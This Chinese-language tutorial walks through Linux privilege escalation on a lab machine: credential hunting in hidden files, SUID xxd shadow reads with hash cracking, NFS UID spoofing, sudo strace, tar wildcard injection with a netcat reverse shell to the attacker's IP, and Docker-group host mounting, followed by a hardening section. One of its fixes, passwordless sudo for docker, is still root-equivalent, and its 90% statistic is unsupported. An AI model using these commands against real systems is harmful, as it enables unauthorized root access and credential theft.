Linux高级提权技术:从隐藏文件发现到Docker容器逃逸
前言
在真实的渗透测试场景中,仅仅掌握基础的Sudo滥用技术是远远不够的。本文将深入介绍五种高级Linux提权技术,包括敏感文件挖掘、SUID权限滥用、NFS配置错误利用、Tar命令注入和Docker容器逃逸。这些技术在实战中具有极高的成功率和隐蔽性。
职业提醒:网络安全行业存在诈骗风险,学生群体尤其要警惕。遇到培训或就业问题,务必通过官方渠道核实,与工作人员仔细沟通,充分了解行业真实情况。
安全警示:所有技术必须在合法授权的环境中使用。本文仅供安全研究和防御加固参考。
文章目录
隐藏文件中的敏感信息发现
人性化安全漏洞
现实场景: 根据统计,约90%的员工会将密码存储在系统的某个"隐蔽"位置,认为这样更安全。这种错误的安全观念恰恰成为攻击者的突破口。
常见密码存储位置:
~/.bash_history # 命令历史
~/.mysql_history # MySQL命令历史
~/.secret # 自定义隐藏文件
~/.ssh/config # SSH配置
~/.config/* # 配置文件目录
系统化搜索策略
全局隐藏文件搜索:
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null
命令解析:
/ # 从根目录开始
-name ".*" # 文件名以点开头
-type f # 仅查找文件(非目录)
-path "/home/*" # 限定在/home目录下
-exec ls -al {} \; # 对找到的文件执行ls -al
2>/dev/null # 将错误重定向到黑洞
优化搜索:
# 仅搜索特定用户目录
find /home/susan -name ".*" -type f 2>/dev/null
# 按修改时间排序
find /home -name ".*" -type f -mtime -30 -ls 2>/dev/null
# 搜索包含password关键词的文件
find /home -name ".*" -type f -exec grep -l "password" {} \; 2>/dev/null
实战案例
发现敏感文件:
bob@linsec:~$ find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null
-rw-r--r-- 1 susan susan 220 Jan 1 2024 /home/susan/.bash_logout
-rw-r--r-- 1 susan susan 3526 Jan 1 2024 /home/susan/.bashrc
-rw-r--r-- 1 susan susan 23 Jan 15 2024 /home/susan/.secret
读取密码:
bob@linsec:~$ cat /home/susan/.secret
susan:MySecretP@ss123!
横向移动:
bob@linsec:~$ su susan
Password: MySecretP@ss123!
susan@linsec:~$ whoami
susan
susan@linsec:~$ id
uid=1002(susan) gid=1002(susan) groups=1002(susan),27(sudo)
安全影响
攻击者视角:
发现用户密码
↓
切换到该用户身份
↓
以该用户名义执行恶意操作
↓
原用户承担责任(可能被辞退)
真实案例: 某员工将管理员密码保存在~/.notes文件中,攻击者获取后以该管理员身份部署勒索软件,最终导致该管理员被追责。
SUID权限滥用提权
SUID机制原理
SUID(Set User ID):
当文件具有SUID位时
↓
任何用户执行该文件
↓
以文件所有者权限运行
↓
通常用于passwd、sudo等工具
权限表示:
-rwsr-xr-x # s位表示SUID
-rwxr-sr-x # SGID(组权限)
-rwxr-xr-t # Sticky Bit
查找SUID文件
标准搜索命令:
find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
参数详解:
-perm -4000 # 查找SUID权限(4000是八进制表示)
-type f # 仅查找文件
-exec ls -al # 显示详细信息
优化版本:
# 排除/proc和/sys目录
find / -path /proc -prune -o -path /sys -prune -o -perm -4000 -type f -ls 2>/dev/null
# 仅搜索特定目录
find /usr/bin /usr/sbin /usr/local/bin -perm -4000 -type f -ls 2>/dev/null
XXD工具提权实战
发现可利用的SUID:
susan@linsec:~$ find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null | grep xxd
-rwsr-xr-x 1 root root 18712 Jan 1 2024 /usr/bin/xxd
XXD工具简介:
xxd: 十六进制查看/转换工具
功能: 文件 → 十六进制 → 文件
特点: 可读取任意文件
读取/etc/shadow:
susan@linsec:~$ xxd /etc/shadow | xxd -r
root:$6$xyz123abc...:18000:0:99999:7:::
daemon:*:18000:0:99999:7:::
susan:$6$abc789xyz...:18500:0:99999:7:::
命令原理:
xxd /etc/shadow # 转为十六进制
| # 管道传递
xxd -r # 还原为原始格式
密码破解流程
提取root哈希:
# 在目标机器上
susan@linsec:~$ xxd /etc/shadow | xxd -r | grep "^root:" > /tmp/hash.txt
# 或直接复制
root:$6$rounds=5000$xyz123abc$hashhashhashhash...
传输到攻击机:
# 方法1:直接复制粘贴到Kali
kali@kali:~/Desktop$ cat > pass.txt
root:$6$rounds=5000$xyz123abc$hashhashhashhash...
^D # Ctrl+D保存
# 方法2:通过网络传输
susan@linsec:~$ cat /tmp/hash.txt | nc 192.168.1.100 9999
kali@kali:~$ nc -lvp 9999 > pass.txt
John the Ripper破解:
# 解压字典(首次使用)
kali@kali:~$ cd /usr/share/wordlists
kali@kali:/usr/share/wordlists$ gunzip rockyou.txt.gz
# 开始破解
kali@kali:~$ cd ~/Desktop
kali@kali:~/Desktop$ john pass.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort
secret123 (root)
1g 0:00:00:05 DONE 0.1876g/s 2345p/s 2345c/s 2345C/s
登录root:
susan@linsec:~$ su root
Password: secret123
root@linsec:~# whoami
root
root@linsec:~# id
uid=0(root) gid=0(root) groups=0(root)
其他SUID提权工具
常见可利用工具:
# 查找并测试
find /usr/bin -perm -4000 -type f 2>/dev/null
# 常见的可利用工具
/usr/bin/xxd # 已演示
/usr/bin/base64 # base64 /etc/shadow | base64 -d
/usr/bin/openssl # openssl enc -in /etc/shadow
/usr/bin/tar # tar -cf /dev/null /etc/shadow --checkpoint=1 --checkpoint-action=exec=/bin/sh
/usr/bin/zip # 需要配合解压
/usr/bin/unzip # 可以读取文件
NFS配置错误利用
NFS服务原理
Network File System:
服务端共享目录
↓
客户端挂载
↓
如同本地目录访问
↓
用于团队协作、数据共享
安全配置:
# /etc/exports - NFS配置文件
/home/shared 192.168.1.0/24(rw,sync,no_root_squash)
/data/public *(ro,sync,root_squash)
关键选项:
rw # 读写权限
ro # 只读
no_root_squash # root权限不压缩(危险!)
root_squash # root映射为nobody(安全)
漏洞发现
端口扫描:
kali@kali:~$ nmap -sV -p 111,2049 192.168.87.134
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
2049/tcp open nfs 3-4 (RPC #100003)
查看共享目录:
kali@kali:~$ showmount -e 192.168.87.134
Export list for 192.168.87.134:
/home/peter *
配置分析:
/home/peter *
↓
允许所有主机访问
可能设置了no_root_squash
攻击实施
挂载远程目录:
# 1. 创建挂载点
kali@kali:~$ cd /tmp
kali@kali:/tmp$ mkdir nfs
kali@kali:/tmp$ cd nfs
# 2. 挂载NFS共享
kali@kali:/tmp/nfs$ mount -t nfs 192.168.87.134:/home/peter /tmp/nfs
# 3. 验证挂载
kali@kali:/tmp/nfs$ ls -la
total 32
drwxr-xr-x 2 1001 1005 4096 Jan 15 10:00 .
drwxrwxrwt 10 root root 4096 Jan 15 10:05 ..
-rw-r--r-- 1 1001 1005 220 Jan 1 2024 .bash_logout
UID/GID匹配:
# 在靶场查看peter的UID/GID
bob@linsec:~$ cat /etc/passwd | grep peter
peter:x:1001:1005:,,,:/home/peter:/bin/bash
↓ ↓
UID GID
# 在Kali创建相同的用户
kali@kali:/tmp/nfs$ groupadd -g 1005 peter
kali@kali:/tmp/nfs$ useradd -u 1001 -g 1005 -m peter
kali@kali:/tmp/nfs$ passwd peter
New password: (任意密码)
# 验证创建
kali@kali:/tmp/nfs$ id peter
uid=1001(peter) gid=1005(peter) groups=1005(peter)
切换到伪造用户:
kali@kali:/tmp/nfs$ su peter
Password:
peter@kali:/tmp/nfs$ whoami
peter
peter@kali:/tmp/nfs$ pwd
/tmp/nfs # 等同于目标机器的/home/peter
SSH免密登录配置
生成SSH密钥:
peter@kali:~$ cd ~
peter@kali:~$ ssh-keygen -t rsa -b 4096
Generating public/private rsa key pair.
Enter file in which to save the key (/home/peter/.ssh/id_rsa): [回车]
Enter passphrase (empty for no passphrase): [回车]
Enter same passphrase again: [回车]
部署公钥:
# 1. 创建.ssh目录(如果不存在)
peter@kali:~$ cd /tmp/nfs
peter@kali:/tmp/nfs$ mkdir -p .ssh
peter@kali:/tmp/nfs$ chmod 700 .ssh
# 2. 复制公钥
peter@kali:/tmp/nfs$ cat ~/.ssh/id_rsa.pub > .ssh/authorized_keys
peter@kali:/tmp/nfs$ chmod 600 .ssh/authorized_keys
# 3. 验证文件
peter@kali:/tmp/nfs$ ls -la .ssh/
total 12
drwx------ 2 peter peter 4096 Jan 15 10:10 .
drwxr-xr-x 3 peter peter 4096 Jan 15 10:10 ..
-rw------- 1 peter peter 738 Jan 15 10:10 authorized_keys
免密SSH连接:
peter@kali:~$ ssh -i ~/.ssh/id_rsa peter@192.168.87.134
Linux linsec 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 x86_64
Last login: Sat Jan 15 10:15:23 2024 from 192.168.87.135
peter@linsec:~$ whoami
peter
Strace提权
检查Sudo权限:
peter@linsec:~$ sudo -l
User peter may run the following commands on linsec:
(ALL) NOPASSWD: /usr/bin/strace
Strace工具:
系统调用跟踪工具
功能: 监控进程的系统调用
用途: 调试、性能分析
特点: 可以执行任意命令
提权命令:
peter@linsec:~$ sudo strace -o /dev/null /bin/sh
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
原理分析:
sudo strace # 以root权限运行strace
-o /dev/null # 输出重定向到黑洞
/bin/sh # 跟踪/bin/sh进程
↓
实际上启动了root权限的shell
Tar命令注入提权
Cron定时任务分析
查看定时任务:
bob@linsec:~$ cat /etc/crontab
# m h dom mon dow user command
* * * * * root /etc/cron.daily/backup
解析:
* * * * * # 每分钟执行
root # 以root权限
/etc/cron.daily/backup # 执行此脚本
查看备份脚本:
bob@linsec:~$ cat /etc/cron.daily/backup
#!/bin/bash
for i in $(ls /home); do
cd /home/$i && /bin/tar -zcf /etc/backups/home-$i.tgz *
done
漏洞点:
/bin/tar -zcf /etc/backups/home-$i.tgz *
↑
通配符*会展开文件名
通配符注入原理
正常执行:
cd /home/bob
tar -zcf /etc/backups/home-bob.tgz file1.txt file2.txt
恶意注入:
# 创建特殊文件名
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
# Tar命令展开后
tar -zcf backup.tgz file1.txt file2.txt --checkpoint=1 --checkpoint-action=exec=sh shell.sh
↑ ↑
tar的合法参数!
攻击实施
生成Payload:
kali@kali:~$ msfvenom -p cmd/unix/reverse_netcat lhost=192.168.87.135 lport=8888 R
mkfifo /tmp/azhmnx; nc 192.168.87.135 8888 0</tmp/azhmnx | /bin/sh >/tmp/azhmnx 2>&1; rm /tmp/azhmnx
创建恶意脚本:
bob@linsec:~$ echo "mkfifo /tmp/azhmnx; nc 192.168.87.135 8888 0</tmp/azhmnx | /bin/sh >/tmp/azhmnx 2>&1; rm /tmp/azhmnx" > shell.sh
bob@linsec:~$ chmod +x shell.sh
创建注入文件:
bob@linsec:~$ echo "" > "--checkpoint=1"
bob@linsec:~$ echo "" > "--checkpoint-action=exec=sh shell.sh"
bob@linsec:~$ ls -la
total 32
-rw-r--r-- 1 bob bob 1 Jan 15 11:00 --checkpoint=1
-rw-r--r-- 1 bob bob 1 Jan 15 11:00 --checkpoint-action=exec=sh shell.sh
-rwxr-xr-x 1 bob bob 128 Jan 15 11:00 shell.sh
监听连接:
kali@kali:~$ nc -lvvp 8888
Listening on [0.0.0.0] (family 0, port 8888)
Connection from 192.168.87.134 45678 received!
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
Tar参数详解
Checkpoint选项:
--checkpoint=N # 每N条记录显示进度
--checkpoint-action=ACTION # 到达checkpoint时执行动作
# 合法用途
tar -zcvf backup.tgz /home --checkpoint=1000 --checkpoint-action=echo="Processed %{read}T bytes"
# 恶意利用
--checkpoint=1 --checkpoint-action=exec=sh shell.sh
Docker容器逃逸
Docker权限模型
Docker组特权:
Docker守护进程以root运行
↓
docker组成员可以与守护进程通信
↓
等同于root权限
检查Docker权限:
bob@linsec:~$ groups
bob docker
bob@linsec:~$ docker --version
Docker version 20.10.12, build e91ed57
漏洞利用
挂载主机根目录:
bob@linsec:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
Unable to find image 'chrisfosterelli/rootplease:latest' locally
latest: Pulling from chrisfosterelli/rootplease
...
You should now have a root shell on the host OS
# whoami
root
原理:
-v /:/hostOS # 将主机根目录挂载到容器
-i -t # 交互式终端
chrisfosterelli/rootplease # 包含提权脚本的镜像
手动方法:
# 1. 启动特权容器
docker run -v /:/mnt -it ubuntu /bin/bash
# 2. 在容器内
root@container:/# chroot /mnt
# 3. 现在在主机的根文件系统
root@container:/# whoami
root
root@container:/# cat /etc/hostname
linsec
限制与注意事项
成功条件:
1. 用户在docker组
2. Docker守护进程运行
3. 网络连接可用(下载镜像)
4. 未启用apparmor/selinux限制
网络要求:
# 切换到桥接模式(如果NAT失败)
# 在虚拟机设置中修改网络适配器
防御与加固
敏感文件防护
文件权限审计:
#!/bin/bash
# audit_home_files.sh
echo "=== Checking for world-readable files in /home ==="
find /home -type f -perm /o+r -ls
echo "=== Checking for hidden files with weak permissions ==="
find /home -name ".*" -type f ! -perm 600 -ls
echo "=== Checking for files containing 'password' ==="
find /home -type f -exec grep -l "password\|passwd" {} \; 2>/dev/null
定期清理:
# 删除命令历史
history -c
> ~/.bash_history
# 禁用历史记录
echo "HISTFILE=/dev/null" >> ~/.bashrc
SUID审计
基线建立:
# 记录正常的SUID文件
find / -perm -4000 -type f 2>/dev/null > /root/suid_baseline.txt
# 定期对比
find / -perm -4000 -type f 2>/dev/null | diff - /root/suid_baseline.txt
移除不必要的SUID:
# 移除SUID位
chmod u-s /usr/bin/xxd
# 验证
ls -l /usr/bin/xxd
-rwxr-xr-x 1 root root 18712 Jan 1 2024 /usr/bin/xxd
NFS安全配置
安全的/etc/exports:
# 不安全
/home/peter *(rw,no_root_squash)
# 安全
/home/peter 192.168.1.100(rw,sync,root_squash,no_subtree_check)
防火墙限制:
# 仅允许特定IP访问NFS
iptables -A INPUT -p tcp --dport 2049 -s 192.168.1.100 -j ACCEPT
iptables -A INPUT -p tcp --dport 2049 -j DROP
Cron任务加固
脚本权限:
# 脚本必须root所有且仅root可写
chown root:root /etc/cron.daily/backup
chmod 700 /etc/cron.daily/backup
避免通配符:
# 不安全
tar -zcf backup.tgz *
# 安全
tar -zcf backup.tgz /home/bob/
Docker安全
限制Docker组:
# 移除用户
gpasswd -d bob docker
# 使用sudo
echo "bob ALL=(ALL) NOPASSWD: /usr/bin/docker" >> /etc/sudoers.d/docker
启用User Namespace:
// /etc/docker/daemon.json
{
"userns-remap": "default"
}
总结
本文介绍的五种高级提权技术在实战中具有很高的成功率,其核心在于:
- 隐藏文件发现:利用人性弱点,90%的用户会犯此类错误
- SUID滥用:系统管理员常忽视的配置问题
- NFS利用:企业协作中的常见配置错误
- Tar注入:定时任务脚本的通配符漏洞
- Docker逃逸:容器技术带来的新型攻击面
这些技术的共同特点是利用合法功能的配置错误,而非软件漏洞,因此更难被传统安全工具检测。
持续学习方向:
- 内核漏洞利用(Dirty COW、DirtyCred)
- Capabilities权限滥用
- Linux命名空间逃逸
- eBPF攻击技术
重要声明:本文内容仅供合法授权的安全测试使用。未经授权的系统入侵将承担法律责任。在实际工作中,应将这些知识用于发现和修复安全漏洞,而非恶意攻击。
更多推荐
所有评论(0)